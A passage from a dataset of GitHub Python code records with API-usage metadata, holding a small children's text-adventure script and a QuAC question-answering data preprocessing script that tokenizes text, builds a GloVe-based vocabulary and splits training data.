"name"}, {"api_name": "support.TempdirManager", "line_number": 24, "usage_type": "name"}, {"api_name": "support.DistlibTestCase", "line_number": 25, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 32, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 35, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "codecs.open", "line_number": 43, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "codecs.open", "line_number": 52, "usage_type": "call"}, {"api_name": "distlib.compat.StringIO", "line_number": 58, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 60, "usage_type": "call"}, {"api_name": "distlib.metadata.MetadataUnrecognizedVersionError", "line_number": 61, "usage_type": "argument"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 63, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 66, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 69, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 73, "usage_type": "argument"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 75, "usage_type": "argument"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 77, "usage_type": "argument"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 79, "usage_type": "argument"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 84, "usage_type": "call"}, {"api_name": "distlib.compat.StringIO", "line_number": 84, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 105, "usage_type": "call"}, {"api_name": "distlib.compat.StringIO", "line_number": 105, "usage_type": "call"}, {"api_name": "distlib.metadata._ATTR2FIELD", "line_number": 106, "usage_type": "name"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 118, "usage_type": "call"}, {"api_name": "distlib.compat.StringIO", "line_number": 119, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path", "line_number": 137, "usage_type": "attribute"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 139, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 149, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 150, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 162, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 170, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 171, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path", "line_number": 178, "usage_type": "attribute"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 179, "usage_type": "call"}, {"api_name": "distlib.compat.StringIO", "line_number": 180, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 184, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 191, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 199, "usage_type": "call"}, {"api_name": "distlib.metadata.MetadataMissingError", "line_number": 203, "usage_type": "argument"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 206, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 214, "usage_type": "call"}, {"api_name": "distlib.metadata.MetadataMissingError", "line_number": 218, "usage_type": "argument"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 221, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 229, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 237, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 251, "usage_type": "call"}, {"api_name": "distlib.metadata.PKG_INFO_PREFERRED_VERSION", "line_number": 254, "usage_type": "argument"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 263, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 268, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 294, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 300, "usage_type": "call"}, {"api_name": "os.path", "line_number": 300, "usage_type": "attribute"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 301, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 304, "usage_type": "call"}, {"api_name": "os.path", "line_number": 304, "usage_type": "attribute"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 305, "usage_type": "call"}, {"api_name": "distlib.metadata.MetadataUnrecognizedVersionError", "line_number": 317, "usage_type": "argument"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 320, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 326, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 338, "usage_type": "call"}, {"api_name": "distlib.compat.StringIO", "line_number": 339, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 342, "usage_type": "call"}, {"api_name": "os.path", "line_number": 342, "usage_type": "attribute"}, {"api_name": "distlib.compat.StringIO", "line_number": 351, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 356, "usage_type": "call"}, {"api_name": "compat.unittest.skipIf", "line_number": 335, "usage_type": "call"}, {"api_name": "compat.unittest", "line_number": 335, "usage_type": "name"}, {"api_name": "distlib.compat.StringIO", "line_number": 362, "usage_type": "call"}, {"api_name": "textwrap.dedent", "line_number": 363, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 370, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 379, "usage_type": "call"}, {"api_name": "distlib.compat.StringIO", "line_number": 386, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 391, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 402, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 413, "usage_type": "call"}, {"api_name": "distlib.compat.StringIO", "line_number": 423, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 432, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 438, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 449, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 459, "usage_type": "call"}, {"api_name": "distlib.metadata.LegacyMetadata", "line_number": 468, "usage_type": "call"}, {"api_name": "support.LoggingCatcher", "line_number": 474, "usage_type": "name"}, {"api_name": "support.TempdirManager", "line_number": 474, "usage_type": "name"}, {"api_name": "support.DistlibTestCase", "line_number": 475, "usage_type": "name"}, {"api_name": "distlib.metadata.Metadata", "line_number": 478, "usage_type": "call"}, {"api_name": "distlib.metadata.MetadataMissingError", "line_number": 480, "usage_type": "argument"}, {"api_name": "distlib.metadata.MetadataMissingError", "line_number": 482, "usage_type": "argument"}, {"api_name": "distlib.metadata.MetadataMissingError", "line_number": 484, "usage_type": "argument"}, {"api_name": "distlib.metadata.Metadata", "line_number": 491, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 505, "usage_type": "call"}, {"api_name": "distlib.metadata.LEGACY_METADATA_FILENAME", "line_number": 506, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 505, "usage_type": "attribute"}, {"api_name": "distlib.metadata.Metadata", "line_number": 507, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 518, "usage_type": "call"}, {"api_name": "distlib.metadata.METADATA_FILENAME", "line_number": 518, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 518, "usage_type": "attribute"}, {"api_name": "distlib.metadata.Metadata", "line_number": 519, "usage_type": "call"}, {"api_name": "distlib.metadata.Metadata", "line_number": 528, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 534, "usage_type": "call"}, {"api_name": "distlib.metadata.LEGACY_METADATA_FILENAME", "line_number": 535, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 534, "usage_type": "attribute"}, {"api_name": "distlib.metadata.Metadata", "line_number": 536, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 542, "usage_type": "call"}, {"api_name": "distlib.metadata.METADATA_FILENAME", "line_number": 542, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 542, "usage_type": "attribute"}, {"api_name": "distlib.metadata.Metadata", "line_number": 543, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 550, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 559, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 631, "usage_type": "call"}, {"api_name": "distlib.metadata.LEGACY_METADATA_FILENAME", "line_number": 632, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 631, "usage_type": "attribute"}, {"api_name": "distlib.metadata.Metadata", "line_number": 633, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 635, "usage_type": "call"}, {"api_name": "json.load", "line_number": 636, "usage_type": "call"}, {"api_name": "distlib.__version__", "line_number": 639, "usage_type": "name"}, {"api_name": "distlib.metadata.Metadata", "line_number": 651, "usage_type": "call"}, {"api_name": "distlib.metadata.Metadata", "line_number": 660, "usage_type": "call"}, {"api_name": "distlib.metadata.MetadataMissingError", "line_number": 661, "usage_type": "argument"}, {"api_name": "distlib.metadata.MetadataInvalidError", "line_number": 664, "usage_type": "name"}, {"api_name": "distlib.metadata.MetadataMissingError", "line_number": 668, "usage_type": "argument"}, {"api_name": "distlib.metadata.MetadataInvalidError", "line_number": 671, "usage_type": "name"}, {"api_name": "distlib.metadata.MetadataMissingError", "line_number": 675, "usage_type": "argument"}, {"api_name": "distlib.metadata.MetadataInvalidError", "line_number": 678, "usage_type": "name"}, {"api_name": "distlib.metadata.MetadataInvalidError", "line_number": 682, "usage_type": "name"}, {"api_name": "compat.unittest.main", "line_number": 691, "usage_type": "call"}, {"api_name": "compat.unittest", "line_number": 691, "usage_type": "name"}]}
{"seq_id": "17211506816", "text": "from collections import namedtuple\nfrom enum import Enum\n\nMyStruct = namedtuple(\"MyStruct\", (\"field1\", \"field2\"))\nm = MyStruct(\"foo\", \"bar\")\n\nclass Room(Enum):\n    Description = 1\n    North = 2\n    West = 3\n    South = 4\n    East = 5\n    Up = 6\n    Down = 7\n\ndef LydiaRoom(op):\n    return {\n        Room.Description: \"You are in Lydia's room. Everything is picked up and looks like except for the candy wrapper on the floor.\",\n        Room.West: \"You walk into the call. There is a scratching post. It is less interesting than the rug.\"\n    }.get(op, \"Can't go that way\")\n\n\ncommands = {\n    \"R\":\"Description\",\n    \"N\":\"North\",\n    \"S\":\"South\",\n    \"E\":\"East\",\n    \"W\":\"West\",\n    \"U\":\"Up\",\n    \"D\":\"Down\"\n}\n\nprint(\"Allowed commands:\")\nprint(commands)", "repo_name": "Grimkey/Python4Kids", "sub_path": "kittygame.py", "file_name": "kittygame.py", "file_ext": "py", "file_size_in_byte": 750, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.namedtuple", "line_number": 4, "usage_type": "call"}, {"api_name": "enum.Enum", "line_number": 7, "usage_type": "name"}]}
{"seq_id": "6320866972", "text": "from allennlp.commands.elmo import ElmoEmbedder\nfrom argparse import ArgumentParser\nfrom collections import Counter\nfrom joblib import Parallel, delayed\nimport json\nfrom multiprocessing import Pool\nimport numpy as np\nimport os\nimport pickle\nimport random\nimport re\nfrom tqdm import tqdm\n\nfrom utils.spacy import bulk_tokenize\nfrom utils.constants import VOCAB_PREFIX, UNK_ID, UNK, FOLLOWUP_TO_ID, YESNO_TO_ID\n\ndef parsed_to_word_tuple(question, answer):\n    f = lambda w: UNK if w is None else w\n    tpl = parsed_to_tuple(question, answer)\n    return (f(tpl[1]), f(tpl[3]), f(tpl[5]), f(tpl[7]))\n\ndef split_symbol(sent, offsets, symbol, test=lambda splitted, w: True):\n    res = []\n    reso = []\n    for w, o in zip(sent, offsets):\n        splitted = [w1 for w1 in w.split(symbol)]\n        if len(splitted) > 1 and test(splitted, w):\n            st = o[0]\n            if len(splitted[0]) > 0:\n                res.append(splitted[0])\n                reso.append((st, st+len(splitted[0])))\n                st += len(splitted[0])\n            for w1 in splitted[1:]:\n                res.append(symbol)\n                reso.append((st, st+1))\n                st += 1\n                if len(w1) > 0:\n                    res.append(w1)\n                    reso.append((st, st+len(w1)))\n                    st += len(w1)\n        else:\n            res.append(w)\n            reso.append(o)\n    return res, reso\n\ndef split_common_symbols(sent, offsets):\n    sent, offsets = split_symbol(sent, offsets, '/', lambda splitted, w: not w.startswith(' 3 or len(x) == 0 for x in splitted) and not re.match('^[0-9\\.]+$', w))\n    sent, offsets = split_symbol(sent, offsets, '-')\n    return sent, offsets\n\ndef tokenize_one(item):\n    strings_to_tokenize = [item['title'], item['section_title'], item['paragraphs'][0]['context'], item['background']]\n    for qa in item['paragraphs'][0]['qas']:\n        strings_to_tokenize.append(qa['question'])\n        strings_to_tokenize.append(qa['orig_answer']['text'])\n\n    tokenized, offsets = bulk_tokenize(strings_to_tokenize, return_offsets=True)\n\n    #tokenized, offsets = list(map(list, zip(*[split_common_symbols(sent, o) for sent, o in zip(tokenized, offsets)])))\n\n    retval = {'title': tokenized[0], 'section_title': tokenized[1], 'context': tokenized[2], 'background': tokenized[3] }\n    tokenized = tokenized[4:]\n    ctx_offsets = [(st-offsets[2][0][0], en-offsets[2][0][0]) for st, en in offsets[2]]\n\n    qas = []\n    parsed_idx = 0\n    for qa in item['paragraphs'][0]['qas']:\n        ans = tokenized[1]\n        if qa['yesno'] == 'y':\n            ans = ['Yes', ','] + tokenized[1]\n        elif qa['yesno'] == 'n':\n            ans = ['No', ','] + tokenized[1]\n\n        char_st = qa['orig_answer']['answer_start']\n        char_en = char_st + len(qa['orig_answer']['text'])\n        ans_st = -1\n        ans_en = -1\n        for idx, (st, en) in enumerate(ctx_offsets):\n            if en > char_st and ans_st < 0:\n                ans_st = idx\n            if st >= char_en and ans_en < 0:\n                ans_en = idx\n        if ans_en < 0:\n            ans_en = len(ctx_offsets)\n        assert ''.join(tokenized[1]) in ''.join(retval['context'][ans_st:ans_en]), '{} {}'.format(str(retval['context'][ans_st:ans_en]), str(tokenized[1]))\n        qas.append({'question': tokenized[0], 'answer': ans, 'id': qa['id'],\n            'start': ans_st, 'end': ans_en, 'yesno': qa['yesno'], 'followup': qa['followup']})\n        tokenized = tokenized[2:]\n        offsets = offsets[2:]\n        parsed_idx += 2\n\n    retval['qas'] = qas\n\n    return retval\n\npool = Pool()\n\ndef tokenize_data(data):\n    print('Tokenizing...')\n    return list(tqdm(pool.imap(tokenize_one, data), total=len(data)))\n\ndef prepare_vocab(tokenized_data, vocab_file, wordvec_file, wordvec_dim, min_freq=3):\n    print('Loading word vectors...')\n    words = [] + VOCAB_PREFIX\n    vecs = [np.random.randn(wordvec_dim) for _ in VOCAB_PREFIX]\n    vecs[0] *= 0\n    word2id = {w:i for i, w in enumerate(words)}\n\n    print('Counting word frequency in the training set...')\n    doc_freq = Counter()\n    data_words = Counter()\n    for item in tokenized_data:\n        doc_words = set([x.lower() for x in item['title'] + item['section_title'] + item['background'] + item['context']])\n        data_words.update([x for x in item['title']])\n        data_words.update([x for x in item['section_title']])\n        data_words.update([x for x in item['background']])\n        data_words.update([x for x in item['context']])\n        for qa in item['qas']:\n            data_words.update([x.lower() for x in qa['question']])\n            data_words.update([x for x in qa['answer']])\n            doc_words.update([x.lower() for x in qa['question'] + qa['answer']])\n\n        doc_freq.update(doc_words)\n\n    data_chars = Counter(c for w in data_words for c in w)\n    data_words_final = Counter()\n    for w in data_words:\n        data_words_final[w.lower()] += data_words[w]\n    data_words = data_words_final\n    for w in list(data_words.keys()):\n        if w in word2id or data_words[w] < min_freq:\n            del data_words[w]\n\n    if os.path.exists(wordvec_file + '.pkl'):\n        with open(wordvec_file + '.pkl', 'rb') as f:\n            pretrained_words0 = pickle.load(f)\n            pretrained_vecs0 = pickle.load(f)\n\n        pretrained_words = []\n        pretrained_vecs = []\n        for word, vec in zip(pretrained_words0, pretrained_vecs0):\n            if word.lower() in data_words:\n                pretrained_words.append(word)\n                pretrained_vecs.append(vec)\n\n        pretrained_words_set = set(pretrained_words)\n    else:\n        pretrained_words = []\n        pretrained_vecs = []\n        pretrained_words_set = set()\n        with open(wordvec_file) as f:\n            processed_lines = 0\n            for line in f:\n                line = line.rstrip().split(' ')\n                vec = [float(x) for x in line[-wordvec_dim:]]\n                word = ' '.join(line[:-wordvec_dim])\n\n                if word == '':\n                    vecs[UNK_ID] = vec\n                elif word.lower() not in pretrained_words_set and word.lower() in data_words:\n                    pretrained_words.append(word.lower())\n                    pretrained_words_set.add(word.lower())\n                    pretrained_vecs.append(vec)\n\n                processed_lines += 1\n\n        with open(wordvec_file + '.pkl', 'wb') as f:\n            pickle.dump(pretrained_words, f)\n            pickle.dump(pretrained_vecs, f)\n\n    print(f'{len(pretrained_words)} words loaded from the word vectors file.')\n\n    #for w in data_words:\n    #    if w in pretrained_words_set: continue\n    #    words.append(w)\n    #    vecs.append(np.random.randn(wordvec_dim))\n    #    word2id[w] = len(word2id)\n    words.append('cannotanswer')\n    vecs.append(np.random.randn(wordvec_dim))\n    word2id['cannotanswer'] = len(word2id)\n\n    for w, vec in zip(pretrained_words, pretrained_vecs):\n        if w not in data_words: continue\n        words.append(w)\n        vecs.append(vec)\n        word2id[w] = len(word2id)\n\n    vecs = np.array(vecs, dtype=np.float32)\n\n    id2char = [] + VOCAB_PREFIX\n    char2id = {c:i for i, c in enumerate(id2char)}\n    for i, c in enumerate(data_chars.keys()):\n        char2id[c] = len(id2char)\n        id2char.append(c)\n\n    assert len(word2id) == len(words) == vecs.shape[0]\n    vocab = {'word2id': word2id, 'id2word': words, 'vecs': vecs, 'char2id': char2id, 'id2char': id2char}\n\n    wordid2chars = []\n    for i, w in enumerate(words):\n        if w in VOCAB_PREFIX:\n            wordid2chars.append([char2id[w]])\n        else:\n            wordid2chars.append([char2id[c] for c in w])\n    vocab['wordid2chars'] = wordid2chars\n\n    wordid2docfreq = []\n    for i, w in enumerate(words):\n        if w in VOCAB_PREFIX:\n            if w != UNK:\n                wordid2docfreq.append(np.inf)\n            else:\n                wordid2docfreq.append(1)\n        else:\n            wordid2docfreq.append(doc_freq[w])\n    vocab['wordid2docfreq'] = wordid2docfreq\n\n    print(f'{len(word2id) - len(pretrained_words) - len(VOCAB_PREFIX)} words added from the training set. Total vocab size: {len(word2id)}')\n\n    return vocab\n\ndef map_data(tokenized_data, vocab):\n    def map_field(field):\n        return [vocab['word2id'].get(x.lower(), UNK_ID) for x in field]\n\n    def map_char(field, do_lower=False):\n        if do_lower:\n            return [[vocab['char2id'].get(c, UNK_ID) for c in w.lower()] if w not in VOCAB_PREFIX else [vocab['char2id'][w]] for w in field]\n        else:\n            return [[vocab['char2id'].get(c, UNK_ID) for c in w] if w not in VOCAB_PREFIX else [vocab['char2id'][w]] for w in field]\n\n    def map_idf(field):\n        return [1 / vocab['wordid2docfreq'][vocab['word2id'].get(x.lower(), UNK_ID)] for x in field]\n\n    def copy_mask(src, dst):\n        return [[1 if w1.lower() == w2.lower() else 0 for w2 in dst] for w1 in src]\n\n    def map_one(item):\n        retval = {'title': map_field(item['title']),\n                'title_char': map_char(item['title']),\n                'section_title': map_field(item['section_title']),\n                'section_title_idf': map_idf(item['section_title']),\n                'section_title_char': map_char(item['section_title']),\n                'background': map_field(item['background']),\n                'background_char': map_char(item['background']),\n                'context': map_field(item['context']),\n                'context_char': map_char(item['context']),\n                'qas': [{'question': map_field(x['question']), 'answer': map_field(x['answer']),\n                    'question_char': map_char(x['question'], do_lower=True), 'answer_char': map_char(x['answer']),\n                    'question_idf': map_idf(x['question']), 'answer_idf': map_idf(x['answer']),\n                    'start': x['start'],\n                    'end': x['end'],\n                    'followup': FOLLOWUP_TO_ID[x['followup']],\n                    'yesno': YESNO_TO_ID[x['yesno']]} for x in item['qas']]}\n        return retval\n\n    #elmo = ElmoEmbedder(cuda_device=0)\n    #print('Computing ELMo features...')\n    #elmo_features = [x[2] for x in tqdm(elmo.embed_sentences([item['context'] for item in tokenized_data], 20), total=len(tokenized_data))]\n\n    print('Mapping tokenized data to indices...')\n    return Parallel(n_jobs=-1, backend=\"threading\")(delayed(map_one)(item) for item in tqdm(tokenized_data))\n\ndef split_train_data(quac_dir, file_name, val_count, tokenized_data, mapped_data):\n    print('splitting training data into train_train and train_val...')\n\n    # count wikipedia title occurrences\n    title_counter = Counter([' '.join(x['title']) for x in tokenized_data])\n    total_sections = sum(title_counter.values())\n    train_sections = total_sections - val_count\n\n    # split data by wikipedia articles to minimize leakage\n    titles = list(title_counter.keys())\n    random.seed(31415) # make sure we always get the same split\n    random.shuffle(titles)\n    train_sec = 0\n    train_titles = set()\n    for t in titles:\n        train_titles.add(t)\n        train_sec += title_counter[t]\n        if train_sec >= train_sections:\n            break\n\n    train_tok = []\n    train_idx = []\n    val_tok = []\n    val_idx = []\n\n    print(f'Split into {train_sec} training sections and {total_sections - train_sec} validation sections.')\n\n    for tok, idx in zip(tokenized_data, mapped_data):\n        if ' '.join(tok['title']) in train_titles:\n            train_tok.append(tok)\n            train_idx.append(idx)\n        else:\n            val_tok.append(tok)\n            val_idx.append(idx)\n\n    def write_to_file(split, tok, idx):\n        tok_file = os.path.join(args.quac_dir, f'_{split}.tokenized'.join(os.path.splitext(args.file_name)))\n        idx_file = os.path.join(args.quac_dir, f'_{split}.idx'.join(os.path.splitext(args.file_name)))\n        with open(tok_file, 'w') as f:\n            json.dump(tok, f)\n        with open(idx_file, 'w') as f:\n            json.dump(idx, f)\n\n    print('writing to file...')\n    write_to_file('train', train_tok, train_idx)\n    write_to_file('val', val_tok, val_idx)\n\n    print('counting question frequency in the training set...')\n    train_questions = [(tuple(iqa['question']), tuple(tuple(w) for w in iqa['question_char']), tuple([w.lower() for w in tqa['question']]), tuple(iqa['question_idf'])) for tpara, ipara in zip(train_tok, train_idx) for tqa, iqa in zip(tpara['qas'], ipara['qas'])]\n    q_counter = Counter(train_questions)\n    print('saving training question frequency to file...')\n    with open(os.path.join(args.quac_dir, '_train_question_freq'.join(os.path.splitext(args.file_name))), 'w') as f:\n        json.dump([[k, q_counter[k]] for k in q_counter], f)\n\nif __name__ == \"__main__\":\n    parser = ArgumentParser()\n\n    parser.add_argument('--quac_dir', default='data/quac', help=\"Data directory for QuAC, should contain train_v0.2.json and val_v0.2.json\")\n    parser.add_argument('--file_name', default='train_v0.2.json', help=\"Data file to process\")\n    parser.add_argument('--wordvec_file', default='data/glove/glove.6B.100d.txt', help=\"File containing pretrained word embeddings\")\n    parser.add_argument('--vocab_file', default='vocab.pkl', help=\"Vocab file to save or load vocab from\")\n    parser.add_argument('--eval', action='store_true', help=\"Whether we are processing the dev/test split\")\n    parser.add_argument('--wordvec_dim', default=100, type=int, help=\"Dimension of word embeddings\")\n    parser.add_argument('--min_freq', default=3, type=int, help=\"Words in the training set occurring less than this many times will not get its own embedding\")\n\n    args = parser.parse_args()\n\n    with open(os.path.join(args.quac_dir, args.file_name)) as f:\n        data = json.load(f)\n\n    tokenized_file = os.path.join(args.quac_dir, '.tokenized'.join(os.path.splitext(args.file_name)))\n    if os.path.exists(tokenized_file):\n        with open(tokenized_file) as f:\n            tokenized_data = json.load(f)\n    else:\n        tokenized_data = tokenize_data(data['data'])\n        with open(tokenized_file, 'w') as f:\n            json.dump(tokenized_data, f)\n\n    vocab_file = os.path.join(args.quac_dir, args.vocab_file)\n    if not args.eval and not os.path.exists(vocab_file):\n        vocab = prepare_vocab(tokenized_data, vocab_file, args.wordvec_file, args.wordvec_dim, min_freq=args.min_freq)\n        with open(vocab_file, 'wb') as f:\n            pickle.dump(vocab, f)\n    else:\n        if not os.path.exists(vocab_file):\n            print('[ERROR] To preprocess evaluation data, you need to preprocess the training data first to obtain the vocabulary.')\n            exit()\n        with open(vocab_file, 'rb') as f:\n            vocab = pickle.load(f)\n\n    mapped_file = os.path.join(args.quac_dir, '.idx'.join(os.path.splitext(args.file_name)))\n    if not os.path.exists(mapped_file):\n        mapped_data = map_data(tokenized_data, vocab)\n        with open(mapped_file, 'w') as f:\n            json.dump(mapped_data, f)\n    else:\n        with open(mapped_file, 'r') as f:\n            mapped_data = json.load(f)\n\n    if not args.eval:\n        split_train_data(args.quac_dir, args.file_name, 1000, tokenized_data, mapped_data)\n", "repo_name": "qipeng/stay-hungry-stay-focused", "sub_path": "utils/preprocess_quac.py", "file_name": "preprocess_quac.py", "file_ext": "py", "file_size_in_byte": 15272, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 26, "dataset": "github-code", "pt": "71", "api": [{"api_name": "utils.constants.UNK", "line_number": 18, "usage_type": "name"}, {"api_name": "re.match", "line_number": 48, "usage_type": "call"}, {"api_name": "utils.spacy.bulk_tokenize", "line_number": 58, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 97, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 101, "usage_type": "call"}, {"api_name": "utils.constants.VOCAB_PREFIX", "line_number": 105, "usage_type": "name"}, {"api_name": "numpy.random.randn", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 106, "usage_type": "attribute"}, {"api_name": "utils.constants.VOCAB_PREFIX", "line_number": 106, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 111, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 112, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 126, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path", "line_number": 135, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 137, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 138, "usage_type": "call"}, {"api_name": "utils.constants.UNK_ID", "line_number": 160, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 169, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 180, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 189, "usage_type": "attribute"}, {"api_name": "utils.constants.VOCAB_PREFIX", "line_number": 191, "usage_type": "name"}, {"api_name": "utils.constants.VOCAB_PREFIX", "line_number": 202, "usage_type": "name"}, {"api_name": "utils.constants.VOCAB_PREFIX", "line_number": 210, "usage_type": "name"}, {"api_name": "utils.constants.UNK", "line_number": 211, "usage_type": "name"}, {"api_name": "numpy.inf", "line_number": 212, "usage_type": "attribute"}, {"api_name": "utils.constants.VOCAB_PREFIX", "line_number": 219, "usage_type": "argument"}, {"api_name": "utils.constants.UNK_ID", "line_number": 225, "usage_type": "argument"}, {"api_name": "utils.constants.VOCAB_PREFIX", "line_number": 229, "usage_type": "name"}, {"api_name": "utils.constants.UNK_ID", "line_number": 229, "usage_type": "argument"}, {"api_name": "utils.constants.VOCAB_PREFIX", "line_number": 231, "usage_type": "name"}, {"api_name": "utils.constants.UNK_ID", "line_number": 231, "usage_type": "argument"}, {"api_name": "utils.constants.UNK_ID", "line_number": 234, "usage_type": "argument"}, {"api_name": "utils.constants.FOLLOWUP_TO_ID", "line_number": 254, "usage_type": "name"}, {"api_name": "utils.constants.YESNO_TO_ID", "line_number": 255, "usage_type": "name"}, {"api_name": "joblib.Parallel", "line_number": 263, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 263, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 263, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 269, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 275, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 276, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 301, "usage_type": "call"}, {"api_name": "os.path", "line_number": 301, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 301, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 302, "usage_type": "call"}, {"api_name": "os.path", "line_number": 302, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 302, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 304, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 306, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 314, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 316, "usage_type": "call"}, {"api_name": "os.path", "line_number": 316, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 316, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 317, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 320, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 332, "usage_type": "call"}, {"api_name": "os.path", "line_number": 332, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 333, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 335, "usage_type": "call"}, {"api_name": "os.path", "line_number": 335, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 335, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 336, "usage_type": "call"}, {"api_name": 